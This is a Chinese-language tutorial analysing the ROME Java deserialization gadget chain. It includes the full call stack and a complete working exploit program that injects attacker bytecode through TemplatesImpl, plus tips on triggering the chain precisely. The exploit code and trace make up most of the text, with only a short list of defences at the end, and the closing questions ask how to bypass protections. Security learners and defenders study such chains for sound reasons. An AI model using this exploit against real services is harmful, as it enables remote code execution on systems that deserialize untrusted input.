ROME链试探
字数 939 2025-08-10 23:41:50
ROME反序列化漏洞分析与利用教学文档
1. ROME框架简介
ROME是一个用于处理RSS和Atom订阅的Java框架,基于Apache 2.0许可证开源。主要功能包括:
- 提供各种联合供稿格式的解析器和生成器
- 支持不同格式之间的转换
- 关键可利用类:
ToStringBean、EqualsBean、ObjectBean
2. 环境搭建
在Maven项目中添加依赖:
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
3. 漏洞利用链分析
3.1 完整调用栈
getOutputProperties:507, TemplatesImpl
invoke0:-1, NativeMethodAccessorImpl
invoke:62, NativeMethodAccessorImpl
invoke:43, DelegatingMethodAccessorImpl
invoke:497, Method
toString:137, ToStringBean
toString:116, ToStringBean
beanHashCode:193, EqualsBean
hashCode:176, EqualsBean
hash:338, HashMap
readObject:1397, HashMap
invoke0:-1, NativeMethodAccessorImpl
invoke:62, NativeMethodAccessorImpl
invoke:43, DelegatingMethodAccessorImpl
invoke:497, Method
invokeReadObject:1058, ObjectStreamClass
readSerialData:1900, ObjectInputStream
readOrdinaryObject:1801, ObjectInputStream
readObject0:1351, ObjectInputStream
readObject:371, ObjectInputStream
unserialize:31, Test2
main:52, Test2
3.2 关键步骤分析
-
入口点:
HashMap的readObject方法- HashMap会调用作为key传入的对象的
hashCode方法
- HashMap会调用作为key传入的对象的
-
EqualsBean.hashCode()
- 调用
beanHashCode方法 - 进而调用
_obj对象的toString方法
- 调用
-
ToStringBean.toString()
- 获取
_beanClass对象的所有getter和setter方法 - 通过反射调用
pReadMethod.invoke()执行方法 - 最终触发
TemplatesImpl的getOutputProperties方法
- 获取
4. 漏洞利用代码实现
4.1 完整EXP代码
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
public class ROMEExploit {
// 反射设置字段值工具方法
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Class clazz = object.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
// 序列化方法
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ROME.bin"));
oos.writeObject(obj);
}
// 反序列化方法
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
// 1. 准备恶意字节码
byte[] code = Files.readAllBytes(Paths.get("Exp.class"));
// 2. 初始化TemplatesImpl对象
TemplatesImpl templates = new TemplatesImpl();
TemplatesImpl templates1 = new TemplatesImpl();
setFieldValue(templates, "_name", "aaa");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 3. 构造ToStringBean对象
ToStringBean toStringBean = new ToStringBean(templates.getClass(), templates1);
// 4. 构造EqualsBean对象
EqualsBean equalsBean = new EqualsBean(toStringBean.getClass(), toStringBean);
// 5. 构造HashMap触发点
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(equalsBean, "aaa");
// 6. 关键:反射修改ToStringBean的属性
setFieldValue(toStringBean, "_beanClass", Templates.class);
setFieldValue(toStringBean, "_obj", templates);
// 7. 序列化payload
serialize(hashMap);
// 8. 触发反序列化
unserialize("ROME.bin");
}
}
4.2 关键注意事项
-
避免提前触发调用链:
- 先传入正常数据构造对象
- 然后通过反射修改关键字段
-
ToStringBean设置技巧:
- 使用
Templates.class而非templates.getClass() - 原因:
Templates接口只有一个getter方法getOutputProperties,确保精准触发
- 使用
-
恶意字节码准备:
- 需要提前编译好恶意类
Exp.class - 确保类中包含有效的payload代码
- 需要提前编译好恶意类
5. 防御建议
- 升级ROME框架到最新安全版本
- 对反序列化操作进行严格限制
- 使用Java安全管理器限制敏感操作
- 实施输入验证和过滤
6. 学习要点
- 理解Java反序列化漏洞的基本原理
- 掌握利用链中各关键类的交互方式
- 熟悉反射在漏洞利用中的应用
- 注意利用过程中的细节处理(如避免提前触发)
7. 扩展思考
- 如何发现类似的利用链?
- 除了ROME框架,还有哪些Java库可能存在类似问题?
- 如何构建更复杂的利用链绕过防御措施?